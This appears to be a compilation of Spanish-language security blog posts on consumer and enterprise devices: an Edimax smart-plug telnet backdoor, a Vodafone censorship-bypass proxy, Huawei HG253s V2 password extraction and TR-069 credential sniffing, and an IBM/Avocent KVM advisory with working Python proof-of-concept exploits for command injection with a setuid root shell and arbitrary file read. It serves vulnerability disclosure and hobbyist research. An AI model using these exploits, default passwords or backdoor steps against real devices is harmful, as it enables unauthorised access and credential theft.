Hace unos días compré un par de estos aparatos para medir el gasto eléctrico en casa de algunos aparatos. En la documentación y en las reviews lo anuncian como que solo se pueden utilizar con una aplicación para Android o iPhone, pero eso no es del todo cierto. En el puerto 10000 tiene un servidor web lighttpd, y varios cgi con los que se pueden hacer ciertas cosas. Además, por suerte, Edimax deja descargar las fuentes GPL y añade a ellas su software precompilado por lo que no es necesario hacer nada especial para tener los cgi y poder examinarlos. En teoría es bastante sencillo compilarse una version propia y con javascript hacer una aplicación que muestre los mismos datos que la aplicación para movil.

Activar backdoor 

Examinando el fichero mappings.cgi me encuentro con que bajo ciertas condiciones se ejecutará el comando telnetd -p 1355 -l /bin/bash, el cual abre un servidor telnet en el puerto 1355.
Para que esto se produzca, la petición web tiene que ser contra /tnb2 y la ejecución por el servidor web del comando mp readhiddenpage tiene que retornar 0. Según retorne 0 u otro valor, se mostrará una página mostrando OK (como se ve en la imagen anterior) o una página que da un error 404 que es diferente a los 404 por defecto del servidor.

Tras investigar un poco, veo que si reinicio de fábrica el SP-2101, el resultado del comando mp da 0, y se abre un servidor telnet en el puerto 1355. Para hacer que sea permanente hay que hacer que el comando mp readhiddenpage siempre retorne cero. Esto se puede averiguar comprobando el comando easyedx y más en concreto la función mp_main, donde veremos que para comprobar el estado de readhiddenpage, verifica que una de estas dos variables esté a ON, Device.Test.HiddenPage.Enable o Device.System.HiddenPage.Enable.
si argv[0] es "readhiddenpages" vamos a sub_41fb80


extracto de sub_41fb80, comprueba estos dos parámetros de configuración

Con esto, probamos a ejecutar el comando nvc set Device.Test.HiddenPage.Enable ON, para dejar habilitado el acceso a la página /tnb2.

Sabiendo todo esto, el procedimiento para habilitar el readhiddenpage, y por tanto poder acceder a la pagina /tnb2 que abre el telnet sería el siguiente:

- Pulsar el boton de reset durante 10 segundos. El SP-2101 se reiniciará en modo de fabríca.
- Conectarse al punto de acceso EdiPlug.Setup. Nos dará la IP 192.168.20.100. La IP del SP-2101 es 192.168.20.3
- Conectar con usuario admin y password 1234 a la dirección http://192.168.20.3/tnb2
- Conectar por telnet a la IP 192.168.20.3 en el puerto 1355
- Ejecutar el comando "nvc set Device.Test.HiddenPage.Enable ON"

Con esto además se deja abierto el modo para cambiar el firmware. Se puede acceder desde http://192.168.0.159:10000/tnupgrade.html
 
Comunicación con el servidor lighttpd en puerto 10000

Si se quiere monitorizar de alguna manera que no sea con el teléfono, ha de hacerse a través del script /smartplug.cgi. A este script hay que hacerle peticiones POST con un xml formateado y que acepta varios parámetros como CMD: get, setup, reboot y reset.

- get : Se utiliza para obtener parámetros de configuracion y el status del SP-2101. Es el principal comando si vamos a programar algo para monitorizarlo.
- setup : Empleado para cambiar parámetros del router.
- reboot : Reinicia el aparato. Al reiniciar, apaga el interruptor.
- reset : Reinicia de fábrica.

Otros posibles usos del adaptador

Aparentemente, además de como medidor, se podría usar como repetidor de Wifi. El aparato realmente es un SoC de Ralink, por lo que no descarto que se pueda configurar manualmente como un AP.

Detalles técnicos del Edimax SP-2101

Procesador
# cat /proc/cpuinfo
system type             : Ralink SoC
processor               : 0
cpu model               : MIPS 24K V4.12
BogoMIPS                : 239.61
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : yes
hardware watchpoint     : yes
ASEs implemented        : mips16 dsp
VCED exceptions         : not available
VCEI exceptions         : not available

Memoria
# cat /proc/meminfo
MemTotal:        30268 kB
MemFree:         17196 kB
Buffers:           772 kB
Cached:           4004 kB
SwapCached:          0 kB
Active:           4492 kB
Inactive:         2184 kB
SwapTotal:           0 kB
SwapFree:            0 kB
Dirty:               0 kB
Writeback:           0 kB
AnonPages:        1908 kB
Mapped:           1404 kB
Slab:             3564 kB
SReclaimable:      304 kB
SUnreclaim:       3260 kB
PageTables:        300 kB
NFS_Unstable:        0 kB
Bounce:              0 kB
CommitLimit:     15132 kB
Committed_AS:     4836 kB
VmallocTotal:  1048404 kB
VmallocUsed:      2368 kB
VmallocChunk:  1044944 kB

Modulos del kernel
# lsmod
    Tainted: P
rt2860v2_ap 1279024 1 - Live 0xc0227000 (P)
edx_events 5168 0 - Live 0xc0053000
edx_gpio 4128 1 edx_events, Live 0xc0050000 (P)

Linea de arranque
# cat /proc/cmdline
console=ttyS1,57600n8 root=1f04

Montajes
# cat /proc/mounts
rootfs / rootfs rw 0 0
/dev/root / squashfs ro 0 0
proc /proc proc rw 0 0
ramfs /tmp ramfs rw 0 0
ramfs /var ramfs rw 0 0
ramfs /dev ramfs rw 0 0
ramfs /etc ramfs rw 0 0

Mtdblock (particiones)
0x00000000-0x00030000 : "Bootloader"
0x00030000-0x00040000 : "Config"
0x00040000-0x00050000 : "Factory"
0x00050000-0x00110000 : "Kernel"
0x00110000-0x00330000 : "RootFS"
0x00330000-0x00380000 : "elecdata0"
0x00380000-0x003d0000 : "elecdata1"
0x003d0000-0x003f0000 : "nvram"
0x003f0000-0x00400000 : "hwconfig"
0x00050000-0x00330000 : "Uimage"

Version de Kernel
# cat /proc/version
Linux version 2.6.21 (root@localhost.localdomain) (gcc version 3.4.2) #1 Wed Mar 25 10:06:57 CST 2015

Driver Wifi
Ralink APSoC Ethernet Driver Initilization. v3.0  256 rx/tx descriptors allocated, mtu = 1500!
module rt2860v2_ap


Comenzó la era de la censura en la fibra. Parece que de buenas a primeras vodafone está empezando a limitar el acceso a ciertos sitios bajo su criterio. Algo que se ve que ya estaban usando desde hace algún tiempo, incluso en el acceso a Internet con OMV's dependientes de Vodafone.

Estaba navegando por thepiratebay, tras la noticia de hace unos días de que había resucitado, y me encuentro con que en una de las recargas de página, el navegador me está redirigiendo a castor.vodafone.es.


Rápidamente veo que es una etiqueta meta refresh que sustituye la respuesta de thepiratebay.

<html><head><meta http-equiv="refresh" content="0; url=http://castor.vodafone.es/public/stoppages/stop.htmopt?CAT=%5Bp2p_servers[...]"></head><body></body></html>

Estadísticas de similarsites muestran que este sistema lleva en pie desde septiembre de 2014, aunque con la fibra, estoy seguro de no haberlo sufrido hasta estos días.




Despues de  hacer varias pruebas con netcat, me doy cuenta de que se puede entrar a la 'deep web' de Vodafone. Es tan simple como no seguir las reglas del RFC de http, para que una petición mal formada pueda atravesar su sistema de filtrado.
Sistema que por lo observado, llega a capturar nuestra petición http, y es capaz de intervenir haciendo Man-in-The-Middle solo si ciertas headers coinciden con su firma. Da que pensar a la hora de usar conexiones no cifradas cuando estamos en la red de Vodafone. No es una simple sustitución de DNS.

De esas pruebas y un poco de tiempo libre navideño ha salido coyote, un proxy en python que ejecuta esta malformación de cabeceras http para pasar por encima del sistema censor castor de VF.

Descargar coyote     md5 checksum: d73c50e7d71a8aebc3d9cec97893c721
Source

Se trata de una aplicación muy simple que cambia las cabeceras del HTTP de tal forma que el sistema de censura de Vodafone no entiende la petición. En realidad, lo que estamos haciendo es eliminar el  carácter \r del final de la cabecera HTTP donde especificamos el método.

Una petición conforme al RFC debería ser tal que así:

GET / HTTP/1.1\r\n

Si la modificamos de tal forma que no la hacemos compatible con el RFC, pese a que los servidores web más comunes (Apache, lighttpd...) la entienden, en el sistema de Vodafone no cumple las reglas para ser filtrada y censurada.

GET / HTTP/1.1\n
* Actualización 27/01/15. Código fuente en python

Absurdo, pero a día de hoy funciona. Cabe decir que todos los tampers que he probado, includo ZAP y demás aplicaciones, no permiten manipular la petición a este nivel.

Coyote se comporta como un proxy socks 4, y hay que configurarlo en el navegador web como tal, solo para http, con la IP 127.0.0.1 y el puerto 8085.


Este método está probado en versiones de firmware V100R001C202B020SP01 y al parecer no funciona en versiones superiores. Sin embargo, todavía es posible sacar los datos en routers con versiones superiores
El pasado 2 de Mayo avisé a Huawei de varios fallos en su router HG253s V2 con la versión de firmware V100R001C202B020SP01 que es la que viene con los routers de Vodafone Fibra. Todavía estoy esperando a que me contesten al menos confirmando los fallos, y como veo que hay bastante gente que me escribe por que tienen problemas haciendo los procedimientos de reset, he decidido sacar esta pequeña utilidad.

La distribuyo en formato binario para Windows. Quizás dentro de un tiempo publique el código fuente.

hg253sv2-tool.zip

HG253s V2 Tool v0.2 - alex.a.bravo [at] gmail.com
----------------------------------------------------
alex.a.bravo [at] gmail.com
Tested with fw. version V100R001C202B020SP01


Usage: hg253sv2.exe -hv [--ip IP] [--user USER] [--pass PASS] OPTIONS
        --ip IP                 hg253s v2 address (default: 192.168.0.1)
        --user USER             username (default: vodafone)
        --pass PASS             password (default: vodafone)
  Options:
        --support-pass          get support password
        --admin-pass            change admin password
        --pppd-info             retrieve pppd info
        --voip-info             retrieve voip info
        --disable-fw            disable firewall with iptables flush (allows to
connect via SSH until reboot) *WAN Dangerous*

Descripción de producto
Los productos IBM 1754 GCM proporcionan KVM sobre IP y una tecnología de administración por consola serie en un único aparato. La vulnerabilidad se encuentra en versiones de firmware v1.20.0.22575 y anteriores.
Esta vulnerabilidad se extiende a otros productos KVM similares de otros fabricantes. Al menos, algunos modelos DELL de este KVM 'rebranded' son también vulnerables. Dell no ha respondido a mi notificación. Es posible que haya otros fabricantes afectados.

1. Remote code execution 
CVEID: CVE-2014-2085
Descripcíon: Parseado incorrecto de los los parametros de entrada permite a un atacante remoto realizar ejecución de código en el sistema operativo del KVM.
Prueba de concepto (PoC):
#!/usr/bin/python

"""
Exploit for Avocent KVM switch v1.20.0.22575.
Remote code execution with privilege elevation.
SessionId (avctSessionId) is neccesary for this to work, so you need a valid user. Default user is "Admin" with blank password.
After running exploit, connect using telnet to device with user target (pass: target) then do "/tmp/su -" to gain root (password "root")
alex.a.bravo@gmail.com
"""

from StringIO import StringIO
import pycurl
import os

sessid = "1111111111"
target = "192.168.0.10"

durl = "https://" + target + "/systest.php?lpres=;%20/usr/sbin/telnetd%20;%20cp%20/bin/busybox%20/tmp/su%20;%20chmod%206755%20/tmp/su%20;"
storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, durl)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.COOKIE,'avctSessionId=' + sessid)
try:
        print "[*] Sending GET to " + target + " with session id " + sessid + "..."
        c.perform()
        c.close()
except:
        print ""
finally:
        print "[*] Done"
print "[*] Trying telnet..."
print "[*] Login as target/target, then do /tmp/su - and enter password \"root\""
os.system("telnet " + target)
2. Arbitrary file read 
CVEID: CVE-2014-3081
Description: El dispositivo permite a un usuario autenticado la lectura de cualquier fichero de KVM.

Prueba de concepto (PoC):
#!/usr/bin/python
"""
This exploit for Avocent KVM switch v1.20.0.22575 allows an attacker to read arbitrary files on device.
SessionId (avctSessionId) is neccesary for this to work, so you need a valid user.
alex.a.bravo@gmail.com
"""

from StringIO import StringIO
import pycurl

sessid = "1111111111"
target = "192.168.0.10"
file = "/etc/IBM_user.dat"

durl = "https://" + target + "/prodtest.php?engage=video_bits&display=results&filename=" + file
storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, durl)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.COOKIE,'avctSessionId=' + sessid)
try:
        c.perform()
        c.close()
except:
        print ""

content = storage.getvalue()
print content.replace("<td>","").replace("</td>","")
3. Cross site scripting non-persistent 
CVEID: CVE-2014-3080
Description: El sistema es vulnerable a cross-site scripting, causado por una incorrecta validación de entrada de parametros. Un atacante podría usar esta vulnerabilidad para robar las credenciales de autenticación basadas en cookies.



Respuesta del fabricante:
IBM lanza la versión 1.20.20.23447

Timeline:
2014-05-20 - Fabricante (IBM PSIRT) notificado
2014-05-21 - IBM asigna ID interno
2014-07-16 - Parche publicado
2014-07-17 - Vulnerabilidad expuesta publicamente

Información externa:
IBM Security Bulletin: http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5095983



 English advisory


Product description
The IBM 1754 GCM family provides KVM over IP and serial console management technology in a single appliance. Versions v1.20.0.22575 and prior are vulnerables.
Note that this vulnerability is also present in some DELL and probably other vendors of this rebranded KVM. I contacted Dell but no response has been received.

1. Remote code execution 
CVEID: CVE-2014-2085
Description: Improperly sanitized input may allow a remote authenticated attacker to perform remote code execution on the GCM KVM switch.
PoC of this vulnerability:
#!/usr/bin/python"""
Exploit for Avocent KVM switch v1.20.0.22575.
Remote code execution with privilege elevation.
SessionId (avctSessionId) is neccesary for this to work, so you need a valid user. Default user is "Admin" with blank password.
After running exploit, connect using telnet to device with user target (pass: target) then do "/tmp/su -" to gain root (password "root")
alex.a.bravo@gmail.com
"""

from StringIO import StringIO
import pycurl
import os

sessid = "1111111111"
target = "192.168.0.10"

durl = "https://" + target + "/systest.php?lpres=;%20/usr/
sbin/telnetd%20;%20cp%20/bin/busybox%20/tmp/su%20;%20chmod%206755%20/tmp/su%20;"

storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, durl)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,
storage.write)
c.setopt(c.COOKIE,'
avctSessionId=' + sessid)

try:
        print "[*] Sending GET to " + target + " with session id " + sessid + "..."
        c.perform()
        c.close()
except:
        print ""
finally:
        print "[*] Done"
print "[*] Trying telnet..."
print "[*] Login as target/target, then do /tmp/su - and enter password \"root\""
os.system("telnet " + target)
2. Arbitrary file read 
CVEID: CVE-2014-3081
Description: This device allows any authenticated user to read arbitrary files. Files can be anywhere on the target.

PoC of this vulnerability:
#!/usr/bin/python
"""
This exploit for Avocent KVM switch v1.20.0.22575 allows an attacker to read arbitrary files on device.
SessionId (avctSessionId) is neccesary for this to work, so you need a valid user.
alex.a.bravo@gmail.com
"""

from StringIO import StringIO
import pycurl

sessid = "1111111111"
target = "192.168.0.10"
file = "/etc/IBM_user.dat"

durl = "https://" + target + "/prodtest.php?engage=video_
bits&display=results&filename=" + file

storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, durl)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,
storage.write)
c.setopt(c.COOKIE,'
avctSessionId=' + sessid)

try:
        c.perform()
        c.close()
except:
        print ""

content = storage.getvalue()
print content.replace("<td>","").
replace("</td>","")
3. Cross site scripting non-persistent 
CVEID: CVE-2014-3080
Description: System is vulnerable to cross-site scripting, caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials.


Vendor Response:
IBM release 1.20.20.23447 firmware

Timeline:
2014-05-20 - Vendor (PSIRT) notified
2014-05-21 - Vendor assigns internal ID
2014-07-16 - Patch Disclosed
2014-07-17 - Vulnerability disclosed

External Information:
Info about the vulnerability (spanish): http://www.bitcloud.es/2014/07/tres-nuevas-vulnerabilidades-en-ibm-gcm.html
IBM Security Bulletin: http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5095983
Este método se sirve del SSH que tiene el router para obtener las contraseñas. Como nos vamos a quedar sin Internet durante un tiempo es necesario que se tenga en el equipo un cliente de SSH para realizar la conexión. Putty es una alternativa libre válida para este caso.

El primer paso es desconectar el cable de Internet y realizar un reset a configuración por defecto en el router. Hecho esto, entraremos a la web con el usuario admin y password VF-EShg253.



El SSH ya está habilitado por defecto pero está filtrado por el firewall así que iremos a la configuración del firewall y añadiremos una regla para permitir SSH. Para ello simplemente pinchamos sobre ACL y añadimos una regla con service type SSH y Access direction LAN.

Ahora podemos acceder por SSH, recomiendo antes aumentar el scroll del cliente SSH para no perder ningún dato. En Putty se hace desde Window/Lines of Scrollback. Es interesante también activar en Session/Close window on exit como never para que no se cierre la sesión al desconectar y perdamos la info recogida, ya que el CLI cierra las sesiones por inactividad.

Conectamos con 192.168.0.1 e introducimos como usuario support y como password también support.

Hemos accedido al CLI del router, es una pequeña aplicación que corre sobre el linux del router. 
Ahora pinchamos el cable del router, y vamos introduciendo cada 3-4 segundos debug trace cwmp 9 hasta que el router empiece a soltar peticiones HTTP/SOAP por la consola. Esperamos hasta que el router tenga telefono e introducimos debug trace cwmp 0.

- ¡Ojo porque hay un bug en la config que llega por cwmp y el telefono no se activa!. Como tendremos la sesión web de admin abierta aún, si despues de un par de minutos el router aún no enciende el led del teléfono, vamos a a Basic/Voice, pinchamos en el radio button SIP Accounts y cuando nos muestre los datos vemos que el checkbox SIP Account está deshabilitado. Lo habilitamos, save, y ya debería encenderse el led del telefono en el router.

Conviene copiar la salida del putty pulsando sobre el icono y Copy all to Clipboard, pegarlo en un notepad y buscar por ejemplo TelnetPassword, nos llevará a la zona donde está la información:

<soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soapenv:Header>
        <cwmp:ID soapenv:mustUnderstand="1">XXXXXXXXX</cwmp:ID>
    </soapenv:Header>
    <soapenv:Body>
        <cwmp:SetParameterValues>
            <ParameterList soap:arrayType="cwmp:ParameterValueStruct[20]">
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.UserInterface.X_ATP_Web.UserInfo.3.Userpassword</Name>
                    <Value xsi:type="xsd:string">PASSWORD.SUPPORT</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.UserInterface.X_ATP_Web.UserInfo.1.Userpassword</Name>
                    <Value xsi:type="xsd:string">PASSWORD.ADMIN</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.DeviceInfo.X_ATP_ServiceManage.TelnetPassword</Name>
                    <Value xsi:type="xsd:string">PASSWORD.SUPPORT</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.DeviceInfo.X_ATP_ServiceManage.TelnetLanEnable</Name>
                    <Value xsi:type="xsd:boolean">0</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.WANDevice.1.WANEthernetInterfaceConfig.ShapingRate</Name>
                    <Value xsi:type="xsd:unsignedInt">XXXXXXXXX</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.Username</Name>
                    <Value xsi:type="xsd:string">USUARIO.PPP</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.Password</Name>
                    <Value xsi:type="xsd:string">PASSWORD.PPP</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.SIP.ProxyServer</Name>
                    <Value xsi:type="xsd:string">PROXY.SIP</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.SIP.ProxyServerPort</Name>
                    <Value xsi:type="xsd:unsignedInt">PROXY.SIP.PORT</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.SIP.RegistrarServer</Name>
                    <Value xsi:type="xsd:string">SIP.REGISTRARSERVER</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.SIP.RegistrarServerPort</Name>
                    <Value xsi:type="xsd:unsignedInt">SIP.REGISTRARSERVERPORT</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.SIP.X_ATP_SIPDomain</Name>
                    <Value xsi:type="xsd:string">SIP.DOMAIN</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.SIP.X_ATP_SecondRegistrarServer</Name>
                    <Value xsi:type="xsd:string">SIP.SECONDRS</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.SIP.X_ATP_SecondRegistrarServerPort</Name>
                    <Value xsi:type="xsd:unsignedInt">SIP.SECONDRSPORT</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.SIP.X_ATP_SecondSIPDomain</Name>
                    <Value xsi:type="xsd:string">SIP.SECONDDOMAIN</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.Line.1.DirectoryNumber</Name>
                    <Value xsi:type="xsd:string">TEL.NUMBER</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.Line.1.SIP.AuthUserName</Name>
                    <Value xsi:type="xsd:string">SIP.AUTHUSERNAME</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.Line.1.SIP.AuthPassword</Name>
                    <Value xsi:type="xsd:string">SIP.AUTHPASSWORD</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.Services.VoiceService.1.VoiceProfile.1.Line.1.Enable</Name>
                    <Value xsi:type="xsd:string">Disabled</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.DeviceInfo.ProvisioningCode</Name>
                    <Value xsi:type="xsd:string">TR02.4110.0000</Value>
                </ParameterValueStruct>
            </ParameterList>
            <ParameterKey>XXXXXXXX</ParameterKey>
        </cwmp:SetParameterValues>
    </soapenv:Body>
</soapenv:Envelope>
Para ciertas cosas como poner en nuestra línea un router neutro sin hacer doble NAT, o configurarse la VoIP, son necesarios estos datos.

Para ello, vamos a hacer un procedimiento muy sencillo que va a requerir hacer un reset al router.
Antes de cortar la conexión, vamos a descargarnos Wireshark, un analizador de paquetes que necesitaremos para recoger la información.

Cuando tengamos Wireshark instalado recomiendo cerrar todos los programas, desconectar el cable de otros usuarios de la red y quitamos el cable ethernet que va a la ONT para acto seguido hacer un reset del router que hará que se reinicie con la configuración por defecto.

Entramos a la web del router con el usuario admin y la clave VF-EShg253, una clave bastante predecible ya que otro routers de Huawei que instala Vodafone, el HG556a tiene como clave VF-EShg556 desde hace ya tiempo.

Ahora activaremos el mirror, seleccionamos el puerto en el que tenemos pinchado nuestro equipo y le damos a submit.



El siguiente paso es abrir el Wireshark e ir al menu Capture/Interfaces. Marcamos la tarjeta de red donde está pinchado el cable del router y pulsamos Start.



En este momento podemos pinchar el cable de Internet y comenzaremos a ver las negociaciones. Al ser la primera sesión despues de un reset a config por defecto tendrá más gracia, ya que veremos las credenciales de los usuarios de instalación del PPP y del CWMP.  Esperaremos a tener Internet en el PC y solo en ese momento podemos hacer un Capture/Stop.

Ahora vamos a Edit/Find Packet para abrir el diálogo de buscar, elegimos Find String y Seach in Packet Bytes e introducimos en el campo de búsqueda lo siguiente:
InternetGatewayDevice.DeviceInfo.X_ATP_ServiceManage.TelnetPassword


Si hemos realizado correctamente los pasos anteriores la búsqueda nos llevará a un resultado que corresponderá a uno de los paquetes de la sesión de autoconfiguración. Si hacemos doble click sobre [Reassembled PDU in frame: XXXX] podremos ver el PDU completo donde están todos los datos de autoconfiguración en texto plano.


Una vez que hemos terminado es importante quitar el mirror, ya que de lo contrario baja el rendimiento de ese puerto y obtendremos velocidades inferiores. Concretamente, con el mirror activado solo estoy obteniendo cerca de 30 mbps de bajada.

Instrucciones para sacar las passwords de las nuevas versiones que han ido apareciendo en 2015 (V100R001C205B038SP05) del router Huawei HG253s V2 que instalan con la fibra Vodafone.

- Desconectamos el puerto Wan del router, que va a la ONT.

- Realizamos un reset 30/30/30. Lo que conocemos por un reinicio de fábrica, pulsando el boton trasero en tres ocasiones para que borre toda la memoria.

- Accedemos al router con las claves por defecto admin / VF-EShg253

- Activamos el mirror. Esto lo han cambiado y ahora a la opción se puede acceder directamente desde el menú Status & Support opción Port Mirroring.
Además ya no hace falta activar el wireshark desde el principio, ya que lo que hace es descargarnos un fichero a traves del navegador.

Importante: hay que dejarlo un buen rato, 4 o 5 minutos, no vale con que se pueda conectar a Internet, ya que aunque hay conexión es con un usuario genérico de instalación.

- Abrimos el fichero con el Wireshark y usamos las mismas opciones que en la imagen anterior pero buscamos "Password". Esto es porque han cambiado ligeramente la forma en que dan los parámetros en la petición SOAP.



Esta semana he cambiado la conexión de casa de ONO cable 100/10 a Vodafone fibra óptica 100/10. La transición fue rápida y he de decir que me causo buena impresión que los técnicos vinieran con analizadores para comprobar la correcta instalación de la fibra optica. Esperaba algo más español. Ya que lo que estoy haciendo es una portabilidad, me resulta curioso que ONO no se haya puesto en contacto conmigo para intentar retenerme aunque es algo que se podría esperar, ya que actualmente ONO es propiedad de Vodafone. Por cierto, el regalo de los cascos FM se lo podían haber ahorrado. Hoy me han migrado la línea de teléfono. Tras dos intentos de que no me portara a VF con ofertas digamos escasas, me pasan a la supervisora de turno, pero se le caen los argumentos. No da crédito a que VF me ponga fibra, ella está convencida de que me están poniendo ADSL, no se cree el precio definitivo que me dan ni que me regalen la linea fija y solo puede contrarestar con ofertas pobres. Por cierto ONO me ha vuelto a pasar una factura completa y eso que no tengo telefono con ellos desde el día 16 e Internet desde el 30.

Cableado

La instalación del cableado consiste en la unión de varios elementos. En la fachada instalan el retenedor, que es un pequeño aparato de color negro para pasar el cable también negro que entra desde la calle y que llega hasta la primera roseta de fibra. Desde este punto hacen una tirada de cable blanco hasta la roseta que estará situada junto al router.

Dispositivos

Vodafone instala dos aparatos, el ONT, que es el aparato encargado de transformar la señal optica en electrica, y el router. El ONT se conecta por un puerto a la roseta de fibra a través de un cable de fibra con conector SC de un hilo y por el otro puerto al puerto de subida del router a través de un cable ethernet de categoría 6.

En mi caso el ONT es un Alcatel-Lucent I-010G-U y el router un Huawei HG253s V2.

Primeros Tests


Las pruebas de velocidad son satisfactorias y el ping ha mejorado visiblemente. Servidores como hora.rediris.es a los que hacía un ping en 8ms con Ono ahora han bajado hasta los 3ms.
El test de tesvelocidad.eu arroja unos resultados excelentes.
Queda por ver si se comporta igual en todos los horarios o hay algún tipo de saturación.

El router Huawei HG253s V2

Vodafone nos da simplemente el usuario vodafone que no permite configurar casi nada en el router hg253s v2. Sin embargo en muy poco tiempo he conseguido cambiar la password de admin y posteriormente utilizar un exploit de ejecución de código remota ya conocido y parcheado, pero al parecer mal parcheado (si es que lo llegaron a intentar parchear), para conseguir el usuario que permite el acceso vía SSH, al que solo puede acceder el usuario support. En general la seguridad de este router es muy pobre y está incluso por debajo de otros routers que he analizado como el netgear CG3100-RG y el Cisco EPC3825.

No voy a hacer públicos las vulnerabilidades por ahora, quiero enviar un correo a Huawei como he hecho con otros fabricantes.
No descarto por otra parte que esta solución se haga pública por otras fuentes, ya que realmente a mi me llevo apenas una hora el encontrar una vulnerabilidad para hacerme admin y otra hora en buscar docs de exploits antíguos para la parte de admin y dar con uno que modificado ligeramente provoca la ejecución remota de comandos para por ejemplo mostrar la pass de SSH en texto plano.

Actualización:

Hoy he apagado el router para hacer un reset 30/30/30 y he visto que la password de admin por defecto es VF-EShg253 y además, si uno se loguea antes de pinchar el cable rojo y mantiene la sesión web abierta las credenciales no se van! Desconozco si pasa con otros routers de Huawei, pero es bastante indecente que al hacer la configuración el CWMP, y pasarle una password de admin nueva, esta perdure hasta el siguiente reboot si nos hemos autenticado previamente. Esto no invalida mi método para cambiar la password del usuario admin, pero si que lo deja por ahora en un segundo plano.

Dado que el router tiene escondida una función de mirror del puerto wan y que esta no se reconfigura en el TR-069, al activarla podemos ver todas las credenciales y configuraciones que viajan en una sesión no cifrada http. Igualmente, si ponemos un hub entre el router y la ONT lo vamos a ver, al menos mientras la sesión ppp no vaya cifrada. En teoría esto debería ir en SSL:

 <soapenv:Body>
        <cwmp:SetParameterValues>
            <ParameterList soap:arrayType="cwmp:ParameterValueStruct[20]">
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.UserInterface.X_ATP_Web.UserInfo.3.Userpassword</Name>
                    <Value xsi:type="xsd:string">XXXXXXXX</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.UserInterface.X_ATP_Web.UserInfo.1.Userpassword</Name>
                    <Value xsi:type="xsd:string">XXXXXXXX</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.DeviceInfo.X_ATP_ServiceManage.TelnetPassword</Name>
                    <Value xsi:type="xsd:string">XXXXXXXX</Value>
                </ParameterValueStruct>
                <ParameterValueStruct>
                    <Name>InternetGatewayDevice.DeviceInfo.X_ATP_ServiceManage.TelnetLanEnable</Name>
                    <Value xsi:type="xsd:boolean">0</Value>
                </ParameterValueStruct>


La ONT Alcatel-Lucent I-010G-U

Como indico más arriba, la principal función de la ONT es transformar el tráfico óptico en eléctrico en sentido descencente y al reves en ascendente. Para ello, la ONT recibe todo el tráfico que le llega de la OLT más cercana y discrimina entre los usuarios para solo dejar pasar nuestro tráfico. El tráfico que recibe la ONT está cifrado con AES.
El instalador enciende la ONT y se conecta a ella via telnet/ssh a través de la dirección IP 192.168.0.251. Creo que estuve rápido y pude ver tanto el password por defecto de estos cacharros (hg530) como el password que le asignan que estoy casi seguro de que es el login del ppp. Tras cambiar el password, ejecutan un comando que no pude ver desde /mnt que teóricamente es un fix.
